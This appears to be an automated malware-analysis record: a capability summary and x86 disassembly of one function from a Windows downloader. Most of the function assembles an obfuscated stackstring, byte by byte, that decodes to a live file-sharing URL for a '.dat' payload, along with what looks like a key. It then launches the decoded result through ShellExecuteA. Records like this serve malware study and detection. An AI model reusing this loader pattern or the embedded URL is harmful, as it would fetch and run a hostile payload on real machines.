Function at 0x403f20
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x5b54c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebp - 0x228]
call fcn.0041a51a
mov dword [ebp - 0x90], 8
mov dword [ebp - 0x8c], 0xff
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5bf23c
lea edx, [ebp - 0x210]
push edx
call fcn.004044c0
add esp, 8
test eax, eax
je 0x40403c
mov dword [ebp - 0x218], 0x5bf244
mov dword [ebp - 0x214], 0x5bf258
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.00500cc0
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.00500cc0
add esp, 4
lea edx, [esi + eax + 1]
push edx
call fcn.0040e235
add esp, 4
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
push ecx
mov edx, dword [ebp - 0x21c]
push edx
call fcn.005020d0
add esp, 8
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
call fcn.005020e0
add esp, 8
push 1
push 0
push 0x5bf105
mov edx, dword [ebp - 0x21c]
push edx
push 0x5bf26c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 0x108], 0x68
mov byte [ebp - 0x107], 0x74
mov byte [ebp - 0x106], 0x74
mov byte [ebp - 0x105], 0x70
mov byte [ebp - 0x104], 0x73
mov byte [ebp - 0x103], 0x3a
mov byte [ebp - 0x102], 0x2f
mov byte [ebp - 0x101], 0x2f
mov byte [ebp - 0x100], 0x64
mov byte [ebp - 0xff], 0x6c
mov byte [ebp - 0xfe], 0x2e
mov byte [ebp - 0xfd], 0x64
mov byte [ebp - 0xfc], 0x72
mov byte [ebp - 0xfb], 0x6f
mov byte [ebp - 0xfa], 0x70
mov byte [ebp - 0xf9], 0x62
mov byte [ebp - 0xf8], 0x6f
mov byte [ebp - 0xf7], 0x78
mov byte [ebp - 0xf6], 0x2e
mov byte [ebp - 0xf5], 0x63
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x6d
mov byte [ebp - 0xf2], 0x2f
mov byte [ebp - 0xf1], 0x73
mov byte [ebp - 0xf0], 0x63
mov byte [ebp - 0xef], 0x6c
mov byte [ebp - 0xee], 0x2f
mov byte [ebp - 0xed], 0x66
mov byte [ebp - 0xec], 0x69
mov byte [ebp - 0xeb], 0x2f
mov byte [ebp - 0xea], 0x72
mov byte [ebp - 0xe9], 0x30
mov byte [ebp - 0xe8], 0x74
mov byte [ebp - 0xe7], 0x72
mov byte [ebp - 0xe6], 0x30
mov byte [ebp - 0xe5], 0x7a
mov byte [ebp - 0xe4], 0x70
mov byte [ebp - 0xe3], 0x6a
mov byte [ebp - 0xe2], 0x6d
mov byte [ebp - 0xe1], 0x67
mov byte [ebp - 0xe0], 0x76
mov byte [ebp - 0xdf], 0x64
mov byte [ebp - 0xde], 0x6e
mov byte [ebp - 0xdd], 0x74
mov byte [ebp - 0xdc], 0x6b
mov byte [ebp - 0xdb], 0x6e
mov byte [ebp - 0xda], 0x61
mov byte [ebp - 0xd9], 0x70
mov byte [ebp - 0xd8], 0x63
mov byte [ebp - 0xd7], 0x35
mov byte [ebp - 0xd6], 0x7a
mov byte [ebp - 0xd5], 0x2f
mov byte [ebp - 0xd4], 0x38
mov byte [ebp - 0xd3], 0x31
mov byte [ebp - 0xd2], 0x33
mov byte [ebp - 0xd1], 0x37
mov byte [ebp - 0xd0], 0x2e
mov byte [ebp - 0xcf], 0x64
mov byte [ebp - 0xce], 0x61
mov byte [ebp - 0xcd], 0x74
mov byte [ebp - 0xcc], 0x3f
mov byte [ebp - 0xcb], 0x72
mov byte [ebp - 0xca], 0x6c
mov byte [ebp - 0xc9], 0x6b
mov byte [ebp - 0xc8], 0x65
mov byte [ebp - 0xc7], 0x79
mov byte [ebp - 0xc6], 0x3d
mov byte [ebp - 0xc5], 0x78
mov byte [ebp - 0xc4], 0x30
mov byte [ebp - 0xc3], 0x33
mov byte [ebp - 0xc2], 0x32
mov byte [ebp - 0xc1], 0x6c
mov byte [ebp - 0xc0], 0x6f
mov byte [ebp - 0xbf], 0x69
mov byte [ebp - 0xbe], 0x6c
mov byte [ebp - 0xbd], 0x66
mov byte [ebp - 0xbc], 0x61
mov byte [ebp - 0xbb], 0x79
mov byte [ebp - 0xba], 0x65
mov byte [ebp - 0xb9], 0x7a
mov byte [ebp - 0xb8], 0x65
mov byte [ebp - 0xb7], 0x39
mov byte [ebp - 0xb6], 0x62
mov byte [ebp - 0xb5], 0x63
mov byte [ebp - 0xb4], 0x6c
mov byte [ebp - 0xb3], 0x73
mov byte [ebp - 0xb2], 0x64
mov byte [ebp - 0xb1], 0x35
mov byte [ebp - 0xb0], 0x65
mov byte [ebp - 0xaf], 0x70
mov byte [ebp - 0xae], 0x33
mov byte [ebp - 0xad], 0x33
mov byte [ebp - 0xac], 0x26
mov byte [ebp - 0xab], 0x64
mov byte [ebp - 0xaa], 0x6c
mov byte [ebp - 0xa9], 0
mov byte [ebp - 0xa4], 0x66
mov byte [ebp - 0xa3], 0x6d
mov byte [ebp - 0xa2], 0x6e
mov byte [ebp - 0xa1], 0x66
mov byte [ebp - 0xa0], 0x6e
mov byte [ebp - 0x9f], 0x70
mov byte [ebp - 0x9e], 0x6f
mov byte [ebp - 0x9d], 0x73
mov byte [ebp - 0x9c], 0x66
mov byte [ebp - 0x9b], 0x67
mov byte [ebp - 0x9a], 0x65
mov byte [ebp - 0x99], 0x79
mov byte [ebp - 0x98], 0x38
mov byte [ebp - 0x97], 0x39
mov byte [ebp - 0x96], 0x61
mov byte [ebp - 0x95], 0x73
mov byte [ebp - 0x94], 0x67
mov byte [ebp - 0x93], 0x72
mov byte [ebp - 0x92], 0
lea ecx, [ebp - 0x88]
call fcn.00401a00
push section..Dsidowp
lea ecx, [ebp - 0x20]
call fcn.00401e60
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401e60
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x88]
call fcn.00401c60
lea ecx, [ebp - 0x3c]
call fcn.00401ea0
lea ecx, [ebp - 0x20]
call fcn.00401ea0
lea ecx, [ebp - 0x88]
call fcn.00401a90
push 0x5bf108
push section..Dsidowp
lea eax, [ebp - 0xa4]
push eax
call fcn.00403e10
add esp, 0xc
push 0x5bf108
push 0x5bf20c
call fcn.00403bb0
add esp, 8
push 0x5bf21c
push 0x5bf20c
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push 0
push 0x5bf106
push 0x5bf20c
push 0x5bf274
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x224], 0
lea ecx, [ebp - 0x88]
call fcn.00401a50
mov eax, dword [ebp - 0x224]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0050080a
mov esp, ebp
pop ebp
ret